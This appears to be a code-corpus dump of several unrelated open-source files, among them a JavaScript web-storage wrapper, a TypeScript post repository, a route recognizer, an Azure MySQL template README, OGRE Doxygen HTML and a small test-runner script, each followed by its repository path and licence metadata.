}), setStorageItem = generateFunctions((type) => { let storage = window[type + 'Storage'] return (key, value) => { storage.setItem(key, encode(value)) } }), removeStorageItem = generateFunctions((type) => { let storage = window[type + 'Storage'] return (key) => { storage.removeItem(key) } }), clearStorage = generateFunctions((type) => { let storage = window[type + 'Storage'] return () => { storage.clear() } }), storageIsEmpty = generateFunctions((type) => { let getLengthFn = getStorageLength[type] return () => getLengthFn() === 0 }) export var LocalStorage = { has: hasStorageItem.local, get: { length: getStorageLength.local, item: getStorageItem.local, index: getStorageAtIndex.local, all: getAllStorageItems.local }, set: setStorageItem.local, remove: removeStorageItem.local, clear: clearStorage.local, isEmpty: storageIsEmpty.local } export var SessionStorage = { // eslint-disable-line one-var has: hasStorageItem.session, get: { length: getStorageLength.session, item: getStorageItem.session, index: getStorageAtIndex.session, all: getAllStorageItems.session }, set: setStorageItem.session, remove: removeStorageItem.session, clear: clearStorage.session, isEmpty: storageIsEmpty.session }
CookieJon/quasar
src/features/web-storage.js
JavaScript
mit
4,099
// To check if a library is compiled with CocoaPods you // can use the `COCOAPODS` macro definition which is // defined in the xcconfigs so it is available in // headers also when they are imported in the client // project. // Expecta #define COCOAPODS_POD_AVAILABLE_Expecta #define COCOAPODS_VERSION_MAJOR_Expecta 0 #define COCOAPODS_VERSION_MINOR_Expecta 4 #define COCOAPODS_VERSION_PATCH_Expecta 2 // Expecta+Snapshots #define COCOAPODS_POD_AVAILABLE_Expecta_Snapshots #define COCOAPODS_VERSION_MAJOR_Expecta_Snapshots 1 #define COCOAPODS_VERSION_MINOR_Expecta_Snapshots 3 #define COCOAPODS_VERSION_PATCH_Expecta_Snapshots 2 // FBSnapshotTestCase #define COCOAPODS_POD_AVAILABLE_FBSnapshotTestCase #define COCOAPODS_VERSION_MAJOR_FBSnapshotTestCase 1 #define COCOAPODS_VERSION_MINOR_FBSnapshotTestCase 6 #define COCOAPODS_VERSION_PATCH_FBSnapshotTestCase 0 // JETableView #define COCOAPODS_POD_AVAILABLE_JETableView #define COCOAPODS_VERSION_MAJOR_JETableView 0 #define COCOAPODS_VERSION_MINOR_JETableView 1 #define COCOAPODS_VERSION_PATCH_JETableView 0 // Specta #define COCOAPODS_POD_AVAILABLE_Specta #define COCOAPODS_VERSION_MAJOR_Specta 1 #define COCOAPODS_VERSION_MINOR_Specta 0 #define COCOAPODS_VERSION_PATCH_Specta 0
jearle/JETableView
Example/Pods/Target Support Files/Pods-Tests/Pods-Tests-environment.h
C
mit
1,237
// Imports import { BaseRepository } from './base'; // Imports models import { Post } from './../../entities/post'; export class PostRepository extends BaseRepository { constructor(host: string, username: string, password: string) { super(host, username, password); } public async insert(post: Post): Promise<boolean> { await BaseRepository.models.Post.create({ author: post.author, authorImage: post.authorImage, body: post.body, category: post.category, description: post.description, image: post.image, key: post.key, linkedInShareCount: post.linkedInShareCount, publishedTimestamp: post.publishedTimestamp, title: post.title, }); return true; } public async find(key: string): Promise<Post> { const post: any = await BaseRepository.models.Post.find({ where: { key, }, }); if (!post) { return null; } return new Post(post.key, post.title, post.description, post.body, post.image, post.category, post.author, post.authorImage, post.publishedTimestamp, post.linkedInShareCount); } public async update(post: Post): Promise<boolean> { const existingPost: any = await BaseRepository.models.Post.find({ where: { key: post.key, }, }); if (!existingPost) { return false; } existingPost.author = post.author; existingPost.authorImage = post.authorImage; existingPost.body = post.body; existingPost.category = post.category; existingPost.image = post.image; existingPost.description = post.description; existingPost.linkedInShareCount = post.linkedInShareCount; existingPost.publishedTimestamp = post.publishedTimestamp; existingPost.title = post.title; await existingPost.save(); return true; } public async list(): Promise<Post[]> { const posts: any[] = await BaseRepository.models.Post.findAll({ order: [ ['publishedTimestamp', 'DESC'], ], }); return posts.map((x) => new Post(x.key, x.title, x.description, x.body, x.image, x.category, x.author, x.authorImage, x.publishedTimestamp, x.linkedInShareCount)); } }
developersworkspace/github-blog
src/repositories/sequelize/post.ts
TypeScript
mit
2,444
# MySQL Server 5.6 on Ubuntu VM <IMG SRC="https://azurequickstartsservice.blob.core.windows.net/badges/mysql-standalone-server-ubuntu/PublicLastTestDate.svg" />&nbsp; <IMG SRC="https://azurequickstartsservice.blob.core.windows.net/badges/mysql-standalone-server-ubuntu/PublicDeployment.svg" />&nbsp; <IMG SRC="https://azurequickstartsservice.blob.core.windows.net/badges/mysql-standalone-server-ubuntu/FairfaxLastTestDate.svg" />&nbsp; <IMG SRC="https://azurequickstartsservice.blob.core.windows.net/badges/mysql-standalone-server-ubuntu/FairfaxDeployment.svg" />&nbsp; <IMG SRC="https://azurequickstartsservice.blob.core.windows.net/badges/mysql-standalone-server-ubuntu/BestPracticeResult.svg" />&nbsp; <IMG SRC="https://azurequickstartsservice.blob.core.windows.net/badges/mysql-standalone-server-ubuntu/CredScanResult.svg" />&nbsp; <a href="https://portal.azure.com/#create/Microsoft.Template/uri/https%3A%2F%2Fraw.githubusercontent.com%2FAzure%2Fazure-quickstart-templates%2Fmaster%2Fmysql-standalone-server-ubuntu%2Fazuredeploy.json" target="_blank"><img src="https://raw.githubusercontent.com/Azure/azure-quickstart-templates/master/1-CONTRIBUTION-GUIDE/images/deploytoazure.png"/></a> This template uses the Azure Linux CustomScript extension to deploy a MySQL server. It creates an Ubuntu VM, does a silent install of MySQL server, version:5.6 The root password is defined by yourself during the deployment. The MySQL server database can be accessed only from localhost by default, you should update the privileges settings based on your own requirement.
mumian/azure-quickstart-templates
mysql-standalone-server-ubuntu/README.md
Markdown
mit
1,572
import { map } from './dsl'; var specials = [ '/', '.', '*', '+', '?', '|', '(', ')', '[', ']', '{', '}', '\\' ]; var escapeRegex = new RegExp('(\\' + specials.join('|\\') + ')', 'g'); function isArray(test) { return Object.prototype.toString.call(test) === "[object Array]"; } // A Segment represents a segment in the original route description. // Each Segment type provides an `eachChar` and `regex` method. // // The `eachChar` method invokes the callback with one or more character // specifications. A character specification consumes one or more input // characters. // // The `regex` method returns a regex fragment for the segment. If the // segment is a dynamic of star segment, the regex fragment also includes // a capture. // // A character specification contains: // // * `validChars`: a String with a list of all valid characters, or // * `invalidChars`: a String with a list of all invalid characters // * `repeat`: true if the character specification can repeat function StaticSegment(string) { this.string = string; } StaticSegment.prototype = { eachChar: function (callback) { var string = this.string, ch; for (var i = 0, l = string.length; i < l; i++) { ch = string.charAt(i); callback({ validChars: ch }); } }, regex: function () { return this.string.replace(escapeRegex, '\\$1'); }, generate: function () { return this.string; } }; function DynamicSegment(name) { this.name = name; } DynamicSegment.prototype = { eachChar: function (callback) { callback({ invalidChars: "/", repeat: true }); }, regex: function () { return "([^/]+)"; }, generate: function (params) { return params[this.name]; } }; function StarSegment(name) { this.name = name; } StarSegment.prototype = { eachChar: function (callback) { callback({ invalidChars: "", repeat: true }); }, regex: function () { return "(.+)"; }, generate: function (params) { return params[this.name]; } }; function EpsilonSegment() { } EpsilonSegment.prototype = { eachChar: function () { }, regex: function () { return ""; }, generate: function () { return ""; } }; function parse(route, names, types) { // normalize route as not starting with a "/". Recognition will // also normalize. if (route.charAt(0) === "/") { route = route.substr(1); } var segments = route.split("/"), results = []; for (var i = 0, l = segments.length; i < l; i++) { var segment = segments[i], match; if (match = segment.match(/^:([^\/]+)$/)) { results.push(new DynamicSegment(match[1])); names.push(match[1]); types.dynamics++; } else if (match = segment.match(/^\*([^\/]+)$/)) { results.push(new StarSegment(match[1])); names.push(match[1]); types.stars++; } else if (segment === "") { results.push(new EpsilonSegment()); } else { results.push(new StaticSegment(segment)); types.statics++; } } return results; } // A State has a character specification and (`charSpec`) and a list of possible // subsequent states (`nextStates`). // // If a State is an accepting state, it will also have several additional // properties: // // * `regex`: A regular expression that is used to extract parameters from paths // that reached this accepting state. // * `handlers`: Information on how to convert the list of captures into calls // to registered handlers with the specified parameters // * `types`: How many static, dynamic or star segments in this route. Used to // decide which route to use if multiple registered routes match a path. // // Currently, State is implemented naively by looping over `nextStates` and // comparing a character specification against a character. A more efficient // implementation would use a hash of keys pointing at one or more next states. function State(charSpec) { this.charSpec = charSpec; this.nextStates = []; } State.prototype = { get: function (charSpec) { var nextStates = this.nextStates; for (var i = 0, l = nextStates.length; i < l; i++) { var child = nextStates[i]; var isEqual = child.charSpec.validChars === charSpec.validChars; isEqual = isEqual && child.charSpec.invalidChars === charSpec.invalidChars; if (isEqual) { return child; } } }, put: function (charSpec) { var state; // If the character specification already exists in a child of the current // state, just return that state. if (state = this.get(charSpec)) { return state; } // Make a new state for the character spec state = new State(charSpec); // Insert the new state as a child of the current state this.nextStates.push(state); // If this character specification repeats, insert the new state as a child // of itself. Note that this will not trigger an infinite loop because each // transition during recognition consumes a character. if (charSpec.repeat) { state.nextStates.push(state); } // Return the new state return state; }, // Find a list of child states matching the next character match: function (ch) { // DEBUG "Processing `" + ch + "`:" var nextStates = this.nextStates, child, charSpec, chars; // DEBUG " " + debugState(this) var returned = []; for (var i = 0, l = nextStates.length; i < l; i++) { child = nextStates[i]; charSpec = child.charSpec; if (typeof (chars = charSpec.validChars) !== 'undefined') { if (chars.indexOf(ch) !== -1) { returned.push(child); } } else if (typeof (chars = charSpec.invalidChars) !== 'undefined') { if (chars.indexOf(ch) === -1) { returned.push(child); } } } return returned; } }; /** IF DEBUG function debug(log) { console.log(log); } function debugState(state) { return state.nextStates.map(function(n) { if (n.nextStates.length === 0) { return "( " + n.debug() + " [accepting] )"; } return "( " + n.debug() + " <then> " + n.nextStates.map(function(s) { return s.debug() }).join(" or ") + " )"; }).join(", ") } END IF **/ // This is a somewhat naive strategy, but should work in a lot of cases // A better strategy would properly resolve /posts/:id/new and /posts/edit/:id. // // This strategy generally prefers more static and less dynamic matching. // Specifically, it // // * prefers fewer stars to more, then // * prefers using stars for less of the match to more, then // * prefers fewer dynamic segments to more, then // * prefers more static segments to more function sortSolutions(states) { return states.sort(function (a, b) { if (a.types.stars !== b.types.stars) { return a.types.stars - b.types.stars; } if (a.types.stars) { if (a.types.statics !== b.types.statics) { return b.types.statics - a.types.statics; } if (a.types.dynamics !== b.types.dynamics) { return b.types.dynamics - a.types.dynamics; } } if (a.types.dynamics !== b.types.dynamics) { return a.types.dynamics - b.types.dynamics; } if (a.types.statics !== b.types.statics) { return b.types.statics - a.types.statics; } return 0; }); } function recognizeChar(states, ch) { var nextStates = []; for (var i = 0, l = states.length; i < l; i++) { var state = states[i]; nextStates = nextStates.concat(state.match(ch)); } return nextStates; } var oCreate = Object.create || function (proto) { function F() { } F.prototype = proto; return new F(); }; function RecognizeResults(queryParams) { this.queryParams = queryParams || {}; } RecognizeResults.prototype = oCreate({ splice: Array.prototype.splice, slice: Array.prototype.slice, push: Array.prototype.push, length: 0, queryParams: null }); function findHandler(state, path, queryParams) { var handlers = state.handlers, regex = state.regex; var captures = path.match(regex), currentCapture = 1; var result = new RecognizeResults(queryParams); for (var i = 0, l = handlers.length; i < l; i++) { var handler = handlers[i], names = handler.names, params = {}; for (var j = 0, m = names.length; j < m; j++) { params[names[j]] = captures[currentCapture++]; } result.push({ handler: handler.handler, params: params, isDynamic: !!names.length }); } return result; } function addSegment(currentState, segment) { segment.eachChar(function (ch) { var state; currentState = currentState.put(ch); }); return currentState; } // The main interface export var RouteRecognizer = function () { this.rootState = new State(); this.names = {}; }; RouteRecognizer.prototype = { add: function (routes, options) { var currentState = this.rootState, regex = "^", types = { statics: 0, dynamics: 0, stars: 0 }, handlers = [], allSegments = [], name; var isEmpty = true; for (var i = 0, l = routes.length; i < l; i++) { var route = routes[i], names = []; var segments = parse(route.path, names, types); allSegments = allSegments.concat(segments); for (var j = 0, m = segments.length; j < m; j++) { var segment = segments[j]; if (segment instanceof EpsilonSegment) { continue; } isEmpty = false; // Add a "/" for the new segment currentState = currentState.put({ validChars: "/" }); regex += "/"; // Add a representation of the segment to the NFA and regex currentState = addSegment(currentState, segment); regex += segment.regex(); } var handler = { handler: route.handler, names: names }; handlers.push(handler); } if (isEmpty) { currentState = currentState.put({ validChars: "/" }); regex += "/"; } currentState.handlers = handlers; currentState.regex = new RegExp(regex + "$"); currentState.types = types; if (name = options && options.as) { this.names[name] = { segments: allSegments, handlers: handlers }; } }, handlersFor: function (name) { var route = this.names[name], result = []; if (!route) { throw new Error("There is no route named " + name); } for (var i = 0, l = route.handlers.length; i < l; i++) { result.push(route.handlers[i]); } return result; }, hasRoute: function (name) { return !!this.names[name]; }, generate: function (name, params) { var route = this.names[name], output = ""; if (!route) { throw new Error("There is no route named " + name); } var segments = route.segments; for (var i = 0, l = segments.length; i < l; i++) { var segment = segments[i]; if (segment instanceof EpsilonSegment) { continue; } output += "/"; output += segment.generate(params); } if (output.charAt(0) !== '/') { output = '/' + output; } if (params && params.queryParams) { output += this.generateQueryString(params.queryParams, route.handlers); } return output; }, generateQueryString: function (params, handlers) { var pairs = []; var keys = []; for (var key in params) { if (params.hasOwnProperty(key)) { keys.push(key); } } keys.sort(); for (var i = 0, len = keys.length; i < len; i++) { key = keys[i]; var value = params[key]; if (value === null) { continue; } var pair = encodeURIComponent(key); if (isArray(value)) { for (var j = 0, l = value.length; j < l; j++) { var arrayPair = key + '[]' + '=' + encodeURIComponent(value[j]); pairs.push(arrayPair); } } else { pair += "=" + encodeURIComponent(value); pairs.push(pair); } } if (pairs.length === 0) { return ''; } return "?" + pairs.join("&"); }, parseQueryString: function (queryString) { var pairs = queryString.split("&"), queryParams = {}; for (var i = 0; i < pairs.length; i++) { var pair = pairs[i].split('='), key = decodeURIComponent(pair[0]), keyLength = key.length, isArray = false, value; if (pair.length === 1) { value = 'true'; } else { //Handle arrays if (keyLength > 2 && key.slice(keyLength - 2) === '[]') { isArray = true; key = key.slice(0, keyLength - 2); if (!queryParams[key]) { queryParams[key] = []; } } value = pair[1] ? decodeURIComponent(pair[1]) : ''; } if (isArray) { queryParams[key].push(value); } else { queryParams[key] = value; } } return queryParams; }, recognize: function (path) { var states = [this.rootState], pathLen, i, l, queryStart, queryParams = {}, isSlashDropped = false; queryStart = path.indexOf('?'); if (queryStart !== -1) { var queryString = path.substr(queryStart + 1, path.length); path = path.substr(0, queryStart); queryParams = this.parseQueryString(queryString); } path = decodeURI(path); // DEBUG GROUP path if (path.charAt(0) !== "/") { path = "/" + path; } pathLen = path.length; if (pathLen > 1 && path.charAt(pathLen - 1) === "/") { path = path.substr(0, pathLen - 1); isSlashDropped = true; } for (i = 0, l = path.length; i < l; i++) { states = recognizeChar(states, path.charAt(i)); if (!states.length) { break; } } // END DEBUG GROUP var solutions = []; for (i = 0, l = states.length; i < l; i++) { if (states[i].handlers) { solutions.push(states[i]); } } states = sortSolutions(solutions); var state = solutions[0]; if (state && state.handlers) { // if a trailing slash was dropped and a star segment is the last segment // specified, put the trailing slash back if (isSlashDropped && state.regex.source.slice(-5) === "(.+)$") { path = path + "/"; } return findHandler(state, path, queryParams); } } }; RouteRecognizer.prototype.map = map;
cmichaelgraham/spike-aurelia-ts-port-dts-gen
aurelia-ts/output-gulp/route-recognizer/index.js
JavaScript
mit
15,707
<html> <head> <title>OGRE: OgreRenderSystemCapabilitiesManager.h Source File - OGRE Documentation</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <link type="text/css" rel="stylesheet" href="doxygen.css"> <link type="text/css" rel="stylesheet" href="tabs.css"> </head> <body> <!-- Generated by Doxygen 1.7.1 --> <div class="navigation" id="top"> <div class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&nbsp;Page</span></a></li> <li><a href="pages.html"><span>Related&nbsp;Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> <li><a href="dirs.html"><span>Directories</span></a></li> </ul> </div> <div class="tabs2"> <ul class="tablist"> <li><a href="files.html"><span>File&nbsp;List</span></a></li> <li><a href="globals.html"><span>File&nbsp;Members</span></a></li> </ul> </div> <div class="navpath"> <ul> <li><a class="el" href="dir_f24eb002d0386a1c1cc03445e1dc571e.html">OgreMain</a> </li> <li><a class="el" href="dir_7eb530b13320eef74004905b156ed280.html">include</a> </li> </ul> </div> </div> <div class="header"> <div class="headertitle"> <h1>OgreRenderSystemCapabilitiesManager.h</h1> </div> </div> <div class="contents"> <a href="OgreRenderSystemCapabilitiesManager_8h.html">Go to the documentation of this file.</a><div class="fragment"><pre class="fragment"><a name="l00001"></a>00001 <span class="comment">/*</span> <a name="l00002"></a>00002 <span class="comment">-----------------------------------------------------------------------------</span> <a name="l00003"></a>00003 <span class="comment">This source file is part of OGRE</span> <a name="l00004"></a>00004 <span class="comment"> (Object-oriented Graphics Rendering Engine)</span> <a name="l00005"></a>00005 <span class="comment">For the latest info, see http://www.ogre3d.org/</span> <a name="l00006"></a>00006 <span class="comment"></span> <a name="l00007"></a>00007 <span class="comment">Copyright (c) 2000-2009 Torus Knot Software Ltd</span> <a name="l00008"></a>00008 <span class="comment"></span> <a name="l00009"></a>00009 <span class="comment">Permission is hereby granted, free of charge, to any person obtaining a copy</span> <a name="l00010"></a>00010 <span class="comment">of this software and associated documentation files (the &quot;Software&quot;), to deal</span> <a name="l00011"></a>00011 <span class="comment">in the Software without restriction, including without limitation the rights</span> <a name="l00012"></a>00012 <span class="comment">to use, copy, modify, merge, publish, distribute, sublicense, and/or sell</span> <a name="l00013"></a>00013 <span class="comment">copies of the Software, and to permit persons to whom the Software is</span> <a name="l00014"></a>00014 <span class="comment">furnished to do so, subject to the following conditions:</span> <a name="l00015"></a>00015 <span class="comment"></span> <a name="l00016"></a>00016 <span class="comment">The above copyright notice and this permission notice shall be included in</span> <a name="l00017"></a>00017 <span class="comment">all copies or substantial portions of the Software.</span> <a name="l00018"></a>00018 <span class="comment"></span> <a name="l00019"></a>00019 <span class="comment">THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR</span> <a name="l00020"></a>00020 <span class="comment">IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,</span> <a name="l00021"></a>00021 <span class="comment">FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE</span> <a name="l00022"></a>00022 <span class="comment">AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER</span> <a name="l00023"></a>00023 <span class="comment">LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,</span> <a name="l00024"></a>00024 <span class="comment">OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN</span> <a name="l00025"></a>00025 <span class="comment">THE SOFTWARE.</span> <a name="l00026"></a>00026 <span class="comment">-----------------------------------------------------------------------------</span> <a name="l00027"></a>00027 <span class="comment">*/</span> <a name="l00028"></a>00028 <span class="preprocessor">#ifndef __RENDERSYSTEMCAPABILITIESMANAGER_H__</span> <a name="l00029"></a>00029 <span class="preprocessor"></span><span class="preprocessor">#define __RENDERSYSTEMCAPABILITIESMANAGER_H__</span> <a name="l00030"></a>00030 <span class="preprocessor"></span> <a name="l00031"></a>00031 <span class="preprocessor">#include &quot;<a class="code" href="OgrePrerequisites_8h.html">OgrePrerequisites.h</a>&quot;</span> <a name="l00032"></a>00032 <span class="preprocessor">#include &quot;<a class="code" href="OgreSingleton_8h.html">OgreSingleton.h</a>&quot;</span> <a name="l00033"></a>00033 <span class="preprocessor">#include &quot;<a class="code" href="OgreStringVector_8h.html">OgreStringVector.h</a>&quot;</span> <a name="l00034"></a>00034 <a name="l00035"></a>00035 <span class="preprocessor">#include &quot;<a class="code" href="OgreRenderSystemCapabilities_8h.html">OgreRenderSystemCapabilities.h</a>&quot;</span> <a name="l00036"></a>00036 <a name="l00037"></a>00037 <a name="l00038"></a>00038 <a name="l00039"></a>00039 <span class="keyword">namespace </span>Ogre { <a name="l00040"></a>00040 <a name="l00041"></a>00041 <a name="l00052"></a><a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html">00052</a> <span class="keyword">class </span><a class="code" href="OgrePlatform_8h.html#a20566b1253bae200372ed9162489a663">_OgreExport</a> <a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html" title="Class for managing RenderSystemCapabilities database for Ogre.">RenderSystemCapabilitiesManager</a> : <span class="keyword">public</span> <a class="code" href="classOgre_1_1Singleton.html" title="Template class for creating single-instance global classes.">Singleton</a>&lt;RenderSystemCapabilitiesManager&gt;, <span class="keyword">public</span> <a class="code" href="classOgre_1_1AllocatedObject.html" title="Superclass for all objects that wish to use custom memory allocators when their new / delete operator...">RenderSysAlloc</a> <a name="l00053"></a>00053 { <a name="l00054"></a>00054 <a name="l00055"></a>00055 <span class="keyword">public</span>: <a name="l00056"></a>00056 <a name="l00059"></a>00059 <a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html" title="Class for managing RenderSystemCapabilities database for Ogre.">RenderSystemCapabilitiesManager</a>(); <a name="l00060"></a>00060 <a name="l00063"></a>00063 <span class="keyword">virtual</span> ~<a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html" title="Class for managing RenderSystemCapabilities database for Ogre.">RenderSystemCapabilitiesManager</a>(); <a name="l00064"></a>00064 <a name="l00065"></a>00065 <a name="l00068"></a>00068 <span class="keywordtype">void</span> parseCapabilitiesFromArchive(<span class="keyword">const</span> <a class="code" href="namespaceOgre.html#af73bbdc8bed8a3e6fcd56bb8fa188c45">String</a>&amp; filename, <span class="keyword">const</span> <a class="code" href="namespaceOgre.html#af73bbdc8bed8a3e6fcd56bb8fa188c45">String</a>&amp; archiveType, <span class="keywordtype">bool</span> recursive = <span class="keyword">true</span>); <a name="l00069"></a>00069 <a name="l00073"></a>00073 <a class="code" href="classOgre_1_1RenderSystemCapabilities.html" title="singleton class for storing the capabilities of the graphics card.">RenderSystemCapabilities</a>* loadParsedCapabilities(<span class="keyword">const</span> <a class="code" href="namespaceOgre.html#af73bbdc8bed8a3e6fcd56bb8fa188c45">String</a>&amp; name); <a name="l00074"></a>00074 <a name="l00076"></a>00076 <span class="keywordtype">void</span> _addRenderSystemCapabilities(<span class="keyword">const</span> <a class="code" href="namespaceOgre.html#af73bbdc8bed8a3e6fcd56bb8fa188c45">String</a>&amp; name, <a class="code" href="classOgre_1_1RenderSystemCapabilities.html" title="singleton class for storing the capabilities of the graphics card.">RenderSystemCapabilities</a>* caps); <a name="l00077"></a>00077 <a name="l00093"></a>00093 <span class="keyword">static</span> <a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html" title="Class for managing RenderSystemCapabilities database for Ogre.">RenderSystemCapabilitiesManager</a>&amp; getSingleton(<span class="keywordtype">void</span>); <a name="l00109"></a>00109 <span class="keyword">static</span> <a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html" title="Class for managing RenderSystemCapabilities database for Ogre.">RenderSystemCapabilitiesManager</a>* getSingletonPtr(<span class="keywordtype">void</span>); <a name="l00110"></a>00110 <a name="l00111"></a>00111 <span class="keyword">protected</span>: <a name="l00112"></a>00112 <a name="l00113"></a><a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html#a2e0da13b7368eee63077c7e45e4829a5">00113</a> <a class="code" href="classOgre_1_1RenderSystemCapabilitiesSerializer.html" title="Class for serializing RenderSystemCapabilities to / from a .rendercaps script.">RenderSystemCapabilitiesSerializer</a>* mSerializer; <a name="l00114"></a>00114 <a name="l00115"></a><a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html#ad5b4c06dcb365c0326cc5cd1f312253b">00115</a> <span class="keyword">typedef</span> <a class="code" href="structOgre_1_1map.html">map&lt;String, RenderSystemCapabilities*&gt;::type</a> CapabilitiesMap; <a name="l00116"></a><a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html#a3c5c00030994f51d13d5f0b1d07c3da4">00116</a> <a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html#ad5b4c06dcb365c0326cc5cd1f312253b">CapabilitiesMap</a> mCapabilitiesMap; <a name="l00117"></a>00117 <a name="l00118"></a><a class="code" href="classOgre_1_1RenderSystemCapabilitiesManager.html#a8b6a2ef877e9a330417bedd1f831f5c0">00118</a> <span class="keyword">const</span> <a class="code" href="namespaceOgre.html#af73bbdc8bed8a3e6fcd56bb8fa188c45">String</a> mScriptPattern; <a name="l00119"></a>00119 <a name="l00120"></a>00120 }; <a name="l00121"></a>00121 <a name="l00124"></a>00124 } <a name="l00125"></a>00125 <a name="l00126"></a>00126 <span class="preprocessor">#endif</span> </pre></div></div> </div> <hr> <p> Copyright &copy; 2008 Torus Knot Software Ltd<br /> <!--Creative Commons License--><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/88x31.png" /></a><br />This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>.<br/> <!--/Creative Commons License--><!-- <rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <Work rdf:about=""> <license rdf:resource="http://creativecommons.org/licenses/by-sa/2.5/" /> <dc:type rdf:resource="http://purl.org/dc/dcmitype/Text" /> </Work> <License rdf:about="http://creativecommons.org/licenses/by-sa/2.5/"><permits rdf:resource="http://web.resource.org/cc/Reproduction"/><permits rdf:resource="http://web.resource.org/cc/Distribution"/><requires rdf:resource="http://web.resource.org/cc/Notice"/><requires rdf:resource="http://web.resource.org/cc/Attribution"/><permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/><requires rdf:resource="http://web.resource.org/cc/ShareAlike"/></License></rdf:RDF> --> Last modified Wed Nov 3 2010 19:24:52 </p> </body> </html>
ttair/TuxSinbad
Docs/api/html/OgreRenderSystemCapabilitiesManager_8h_source.html
HTML
mit
12,274
import { themr } from 'react-css-themr'; import { PAGER } from '../identifiers.js'; import { pagerFactory } from './pager.js'; import Page from './page.js'; import theme from './theme.scss'; const Pager = pagerFactory(Page); const ThemedPager = themr(PAGER, theme)(Pager); export default ThemedPager; export { ThemedPager as Pager };
MaximKomlev/react-toolbox-additions
src/pager/index.js
JavaScript
mit
336
<div class="header"> <a routerLink="/"><span><i class="fa fa-graduation-cap" aria-hidden="true"></i></span></a> </div> <div class="header_headline">Division</div> <p>Die Division ist eine der vier Grundrechenarten der Arithmetik. Sie ist die Umkehroperation der Multiplikation. Die Division wird umgangssprachlich auch als Teilen bezeichnet. Die schriftliche Division ist die Methode des Teilens mit Stift und Papier. In Österreich wird gelegentlich zwischen Messen (wie oft geht es in …?) und Teilen (wie viel ergibt es geteilt durch …?) unterschieden.[1] Sie wird im Schulunterricht der Grundschule gelehrt und noch einmal in Schulbüchern für die 5. Klasse[2] dargestellt, wird aber nach Einführung elektronischer Hilfsmittel von Lernenden kaum noch angewandt. Rechenzeichen für die Division sind : ÷ / als Geteiltzeichen.</p> <div class="footer"> <a routerLink="/learn"><span><i class="fa fa-reply" aria-hidden="true"></i></span></a> </div> <img class="background" src="assets/images/owl.png" alt="edu owl" width="10%">
amq/edu-spa
src/app/components/learn/division.component.html
HTML
mit
1,061
export PYTHONPATH="./teptools:$PYTHONPATH" if [[ -z $1 ]]; then flake8 teptools tests && coverage run -m py.test tests && coverage report else flake8 teptools/$1.py tests/test_$1.py && pytest -vv tests/test_$1.py fi
nelsyeung/teptools
runtests.sh
Shell
mit
222
import {LEAGUE_BY_SUMMONER_FULL, LEAGUE_BY_SUMMONER, LEAGUE_BY_TEAM_FULL, LEAGUE_BY_TEAM, CHALLENGER_LEAGUE} from '../Constants'; export const League = { getBySummonerId(summonerId, options) { return Object.assign({}, options, { id: summonerId, uri: LEAGUE_BY_SUMMONER_FULL }); }, getEntriesBySummonerId(summonerId, options) { return Object.assign({}, options, { id: summonerId, uri: LEAGUE_BY_SUMMONER }); }, getByTeamId(teamId, options) { return Object.assign({}, options, { id: teamId, uri: LEAGUE_BY_TEAM_FULL }); }, getEntriesByTeamId(teamId, options) { return Object.assign({}, options, { id: teamId, uri: LEAGUE_BY_TEAM }); }, getChallenger(type, options) { return Object.assign({}, options, { uri: CHALLENGER_LEAGUE, query: { type: type || 'RANKED_SOLO_5x5' } }); } };
austinsc/riot-data
src/api/league.js
JavaScript
mit
916
// <auto-generated> This file has been auto generated. </auto-generated> [assembly:System.Reflection.AssemblyFileVersionAttribute("1.0.0.0")] [assembly:System.Reflection.AssemblyVersionAttribute("1.0.0.0")] [assembly:System.Reflection.AssemblyInformationalVersionAttribute("1.0.0")] [assembly:System.Runtime.Versioning.TargetFrameworkAttribute(".NETStandard,Version=v2.0")]
RipplerEs/SimpleToDo
src/SimpleToDo.Aggregates/obj/Debug/netstandard2.0/dotnet-compile.assemblyinfo.cs
C#
mit
373
